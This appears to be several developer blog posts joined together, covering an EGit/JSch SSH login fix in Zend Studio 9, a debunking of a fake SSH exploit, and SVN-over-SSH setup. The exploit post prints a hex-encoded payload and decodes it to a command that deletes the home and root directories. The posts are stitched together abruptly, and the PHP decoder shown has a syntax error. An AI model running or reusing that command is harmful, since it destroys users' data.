For the past few months i have been switching some projects over to git from Subversion. And have been trying to get the hang of all the command line options available. And i will be doing that for a while longer until i get completely comfortable. And for communication to the remote git server i have been using SSH key authentication. Which works smoothly just like it did with Subversion.

But i wanted to check out the GIT support available in Zend Studio 9. And hit a problem pretty quickly. But i will describe that below. First i will create a local clone of my git project.

$ git clone ssh://[somehost]/~/git/project.git

To test if everything is working i do a test commit. If that succeeds if push it out to the remote master.

$ cd project.git
$ touch TEST
$ git commit
$ git push origin master

So that works fine. Now time to see how Zen Studio handles this. To create a project i use the Create from Git option. And select the local checkout i just created. This will read the whole repository configuration. And you are basically done from here. But as i mentioned earlier, i had some difficulties getting things running smoothly. I discovered that when it was time to push changes to the master repository.

When i used the Push to Upstream option. I was greeted by a login panel that seemed to have selected the correct SSH key and user to perform the login. But when i typed the password, it just kept asking for the password. Again and again. Hmm. That sucks! The password was correct. I tried with a newly created key. No luck either. The last thing i tried was updating to a nightly build of Egit found here. But this offered no solution either.

After reading a couple of complaints i found this bug report for the EGit eclipse plugin. The thread contains a solution for the login issue i was having. Gotta love Google!

Apparently the problem has to do with the encryption algorithm used to create the SSH keys. In this case the EGit plugin (which uses Jsch to do the SSH communication) was having problems with AES encrypted keys. And to solve the problem the Jsch library should be replaced with a newer version to make things work again.

So lets download this JSch library and update it manually. The library (JSch v 0.1.46) can be found here.

$ cd ZendStudio9
$ find . -name ‘*jsch*’ -type f

Found it plugins/com.jcraft.jsch_0.1.41.v201101211617.jar. So let’s try to update that.

$ cp plugins/com.jcraft.jsch_0.1.41.v201101211617.jar plugins/com.jcraft.jsch_0.1.41.v201101211617.jar.backup
$ wget http://sourceforge.net/projects/jsch/files/jsch.jar/0.1.46/jsch-0.1.46.jar/download
$ mv jsch-0.1.46.jar plugins/com.jcraft.jsch_0.1.41.v201101211617.jar

After restarting ZS everything worked fine again. Another problem solved! Thanks to the guys who posted in the EGit bug thread. Some good community Karma here! Time for other things. Hope it helps!

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);

This should be pretty damn straight forward. However i ran into some problems while setting this up. At my daily work spot we use SVN over HTTP so we can do NTLM authentication. This sucks in many ways. But most of all it’s slow. And i mean really slow. Last week i tried to retrieve the log information for a project in the repository. This took my IDE 30 minutes. At first i thought my IDE was just being lame on me. But it turns out it’s SVN over HTTP that’s the culprit.

So i started to do some testing over the standard svn:// protocol. And retrieving the logs on the same repository took about 2 seconds. Amazing. That’s enough reason to switch to the svn:// protocol. This however was not possible. Because our network policy doesn’t allow for multiple log ins. All is centrally stored on some M$ domain controllers. That’s why SVN over HTTP was used in the first place. End of story i thought.

But i couldn’t let go of this. The situation becomes less workable every day. So i decided to look around for other options. When i notice some log ins were merged to the *nix boxes. i immediately thought about using SSH in combination with SVN. Logging in on the *nix box was no problem. So let’s try that with SVN.

svn+ssh://location/of/repo

This gives an error about a mismatched handshake. And i just couldn’t get this to work until i found a post made by Martin Woodward. He explains how to setup an environment variable on my local windows machine. To the tortoise PLink executable.

Set the environment variable (by right-clicking on My Computer, Properties, Advanced, Environment Variables, New):-
Variable name: SVN_SSH
Variable value: C:\\Program Files\\TortoiseSVN\\bin\\TortoisePlink.exe

This seemed to work i thought. i was presented with a login box. But no matter how i tried i couldn’t login. It just kept giving me the login box. So i opened a SSH session to the server and tried to do the same from there.

svn list svn+ssh://location/of/repo

After hitting enter i typed my password and got the following message.

bash: line 1: svnserve: command not found
svn: Connection closed unexpectedly

Now we’re getting somewhere. So svnserve could not be found. Probably because it’s not in the $PATH variable. So let’s add it there.

vi .bashrc
PATH=$PATH:/usr/local/bin

So let’s try to get a listing of the repo.

svn list svn+ssh://location/of/repo

This gave me the following message:

svn: No repository found in ‘svn+ssh://location/of/repo’

Seems that when you use SVN over SSH you need to give the full location to the repository. Not the web server path but the complete file system path. After changing the webserver path for the file system path everything worked out. From here on adding the repository to eclipse is easy.
I always open the repository view. From there i right click > New > repository Location. The URL to add will look something like

svn+ssh://file/system/location/of/repository

So now we can enjoy the speed of the svn:// protocol. And the security of SSH. So let’s do some coding :)